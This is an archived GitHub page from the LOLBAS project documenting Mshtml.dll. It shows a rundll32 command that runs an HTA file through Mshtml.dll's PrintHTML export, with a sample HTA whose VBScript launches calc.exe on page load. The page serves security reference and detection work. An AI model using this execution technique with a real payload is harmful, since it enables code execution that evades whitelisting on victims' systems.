Skip to content
This repository has been archived by the owner on Dec 11, 2018. It is now read-only.

Latest commit

 

History

History
46 lines (37 loc) · 918 Bytes

Mshtml.md

File metadata and controls

46 lines (37 loc) · 918 Bytes
Raw

UPDATE BOOKMARKS - PROJECT MOVED TO A DEDICATED PROJECT SITE. THIS SITE WILL NOT BE UPDATED ANYMORE, BUT WILL BE KEPT FOR HISTORICAL REASONS.

New site: https://github.com/LOLBAS-Project/LOLBAS Web portal: https://lolbas-project.github.io/

Mshtml.dll

  • Functions: Execute
rundll32.exe Mshtml.dll,PrintHTML "C:\temp\calc.hta"

Acknowledgements:

  • Pierre-Alexandre Braeken - @pabraeken

Code sample (calc.hta):

<html>
<head>
	<title>LOLBin</title>
	<script language="VBScript">
		Sub RunProgram
            Set objShell = CreateObject("Wscript.Shell")
            objShell.Run "c:\windows\system32\calc.exe"
			Self.Close
        End Sub
	</script>
</head>
<body onload="RunProgram">
    <h1>LOLBin</h1>
</body>
</html>

Resources:

Full path:

c:\windows\system32\Mshtml.dll
c:\windows\sysWOW64\Mshtml.dll

Notes:

Detection: